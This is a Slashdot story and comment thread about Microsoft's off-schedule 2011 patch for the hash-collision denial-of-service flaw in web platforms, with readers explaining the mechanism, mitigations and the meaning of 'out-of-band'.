Microsoft Issuing Unusual Out-of-Band Security Update

wiredmikey writes "In a rare move, Microsoft is breaking its normal procedures and will issue an emergency out-of-band security update on Thursday to address a hash collision attack vulnerability that came into the spotlight yesterday, and affects various Web platforms industry-wide. The vulnerability is not specific to Microsoft technologies and has been discovered to impact PHP 5, Java, .NET, and Google's v8, while PHP 4, Ruby, and Python are somewhat vulnerable. Microsoft plans to release the bulletin on December 29, 2011, at 10:00 AM Pacific Time, and said it would addresses security vulnerabilities in all supported releases of Microsoft Windows. 'The impact of this vulnerability is similar to other Denial of Service attacks that have been released in the past, such as the Slowloris DoS or the HTTP POST DoS,' said security expert Chris Eng. 'Unlike traditional DoS attacks, they could be conducted with very small amounts of bandwidth. This hash table multi-collision bug shares that property.'"

That is *not* out-of-band

[Anonymous Coward]

Out-of-band would involve them mailing a CD to recipients, or some other form of delivery other than the Internet.

The phrase for which you were searching is "off-schedule".

Re:Priorities

[nman64]

That the DDoS exists is yesterday's news (nevermind that it didn't make the Slashdot front page.) The point of this post is that Microsoft is issuing an out-of-band update. A security-aware and in-touch admin should have already learned of the n.runs advisory [nruns.com] yesterday. If they were really on top of things, they may have been aware of the potential danger as far back as 2003.

28th chaos communication congress revelead this

[Anonymous Coward]

the Chaos Computer Club is doing their congress at the moment and the hash collision problem was topic yesterday:

28c3: Effective Denial of Service attacks against web application platforms
http://www.youtube.com/watch?v=R2Cq3CLI6H8

Re:Patents could have saved us!

[Nerdfest]

You do realize that patenting of patenting hash table parsing would mean that even if someone came up with a different way of doing it, it would still be in violation, don't you? That's one of the problems with software patents ... it's not the implementation that's patented, it's the idea.

Re:Priorities

[Eirenarch]

No, this is not how hashtables work. The hashcode is not identity value but a means to sort elements into buckets for faster lookup. It won't get "confused" by equal hashes, it just gets somewhat slower when a large number of elements with equal hashes are added.

The journalist is terribly confused

[Anonymous Coward]

The journalist says the vulnerability resides in the "POST function" of... something? Then he mentions MD5 collisions, and goes on quoting extensively from a report by a security firm.

More technically accurate version:
Hash tables (key-value stores) use a hash function to generate an internal representation of the key. When accessing the hash, the key gets hashed and compared to the internal representation to find the correct value. If there are collisions for a certain key, the implementation must enumerate through the values, which is much more expensive than the O(log n) hash table read access is supposed to be. (Write access would probably be the O(n^2) the report quotes.) Therefore, it is preferable for a hash function to be both short and fast, have few collisions, and probably have some per-process randomisation to mitigate these attacks.

HTTP POST has nothing to do with this except that web frameworks/programming interfaces usually parse the GET/POST parametres into a hash table on every request. Therefore, if the attacker creates enough parametres (keys) that hash to the same internal representation, he can bog down the web server before any user code runs.

This presentation at 28C3 (with video)

[praseodym]

This research was presented by n.runs at the 28th Chaoas Communication Congress: http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html [events.ccc.de].

The presentation was recorded and can be viewed at http://www.youtube.com/watch?v=R2Cq3CLI6H8 [youtube.com].

Re:Changing a hash function...

[vikingpower]

Be advised that there IS collision resolution present in e.g. java.util.Hashtable; the default load factor is 0.75, which in practical use ( I've been playing with that class for over 12 years now ) is very close to optimal for run-of-the-mill uses. Also, there is the stratetegy of internal collision recording. I do agree, though, that it is not feasible to implement such tactics in the hashCode() method of any POJO. Which is, IMHO, a re-design of the java.lang.Object.hashCode() method would be worth thinking of.

If using PHP5, change max_input_time

[Maow]

I agree with others, this is not a Microsoft issue, it's an issue for all sysadmins.

Anyway, from http://packetstormsecurity.org/files/108209/n.runs-SA-2011.004.txt [packetstormsecurity.org] is this helpful bit to reduce your susceptibility to attack, if you're using PHP:

The maximal POST request size is typically limited to 8 MB, which when
filled with a set of multi-collisions would consume about four hours of
CPU time on an i7 core. Luckily, this time can not be exhausted because
it is limited by the max_input_time (default configuration: -1,
unlimited), Ubuntu and several BSDs: 60 seconds) configuration
parameter. If the max_input_time parameter is set to -1 (theoretically:
unlimited), it is bound by the max_execution_time configuration
parameter (default value: 30).

Better Writeup

[inglorion_on_the_net]

Here is a better writeup from Ars Technica: http://arstechnica.com/business/news/2011/12/huge-portions-of-web-vulnerable-to-hashing-denial-of-service-attack.ars [arstechnica.com]

From that page:

the flaw affects a long list of technologies, including PHP, ASP.NET, Java, Python, Ruby, Apache Tomcat, Apache Geronimo, Jetty, and Glassfish, as well as Google's open source JavaScript engine V8

the theory behind such attacks has been known since at least 2003

Klink and WÃlde showed that "PHP 5, Java, ASP.NET as well as V8 are fully vulnerable to this issue and PHP 4, Python and Ruby are partially vulnerable, depending on version or whether the server running the code is a 32-bit or 64-bit machine

The actual vulnerability seems to be that many web applications (or application servers or libraries or what have you) parse form data from HTTP POST requests into hash tables, using known hashing algorithms. If an attacker sends a POST request using specifically crafted parameter names that all hash to the same value, inserting these into the hash table will take O(n^2) time, which opens up affected software to a denial of service attack.

MaraDNS' Deadwood is immune

[MaraDNS]

You know, I knew this issue would come out of the woodwork one day; I went to some bother to have a randomized hash compression function for MaraDNS 2.0's recursive resolver (Deadwood).

From the relevant man page [maradns.org] (this part was last updated in September of 2010):

To protect Deadwood from certain possible denial-of-service attacks, it is best if Deadwood's prime number used for hashing elements in the cache is a random 31-bit prime number. The program RandomPrime.c generates a random prime that is placed in the file DwRandPrime.h that is regenerated whenever either the program is compiled or things are cleaned up with make clean. This program uses /dev/urandom for its entropy; the file DwRandPrime.h will not be regenerated on systems without /dev/urandom.

[...]

If using a precompiled binary of Deadwood, please ensure that the system has /dev/urandom support (on Windows system, please ensure that the file with the name secret.txt is generated by the included mkSecretTxt.exe program); Deadwood, at runtime, uses /dev/urandom (secret.txt in Windows) as a hardcoded path to get entropy (along with the timestamp) for the hash algorithm.

Personally, I think it this is a pretty obvious attack to think of when designing a hash compression function.

Re:That is *not* out-of-band

[HTH NE1]

"Oracle issues rare out-of-band update for Apache DDoS vulnerability" [sophos.com]

"This is only the fifth time Oracle has issued an alert outside its routine quarterly patch cycle since introducing its own version of Patch Tuesday at the start of 2005."

That would be Microsoft's "Patch Tuesday". Oracle doesn't call it "out-of-band".

"Adobe Releases Out-of-Band Patch" [simplysecurity.com]

Adobe called it a "Security bulletin", and judging from when Adobe releases updates for Flash Player [adobe.com], I'm not even seeing a regular schedule to classify it as "out-of-band" as Microsoft defines it.

"Installing out-of-band updates for IBM BladeCenter devices using Telnet fails" [ibm.com]

They're actually talking about delivery of patches via FTP and TFTP. Another talks about SNMP as the method. That is out-of-band and not what Microsoft is doing.

If anything about Microsoft releasing a patch off-schedule is "out-of-band" it is that they call special attention to it via press release rather than otherwise silently informing people via Windows Update. And that's assuming that they don't issue press releases anyway that usually get ignored by the press when they're on the regular schedule. It's not delivering the patch out-of-band, it's informing the public out-of-band, i.e. via an alternate band of communication. But it isn't delivery of the patch; that still occurs through the normal channel: Windows Update. It's conflating security "update" as a deliverable fix with security "update" as bulletin about the availability of the fix via the usual channels.

And that's the closest to a concession you'll get out of me on this.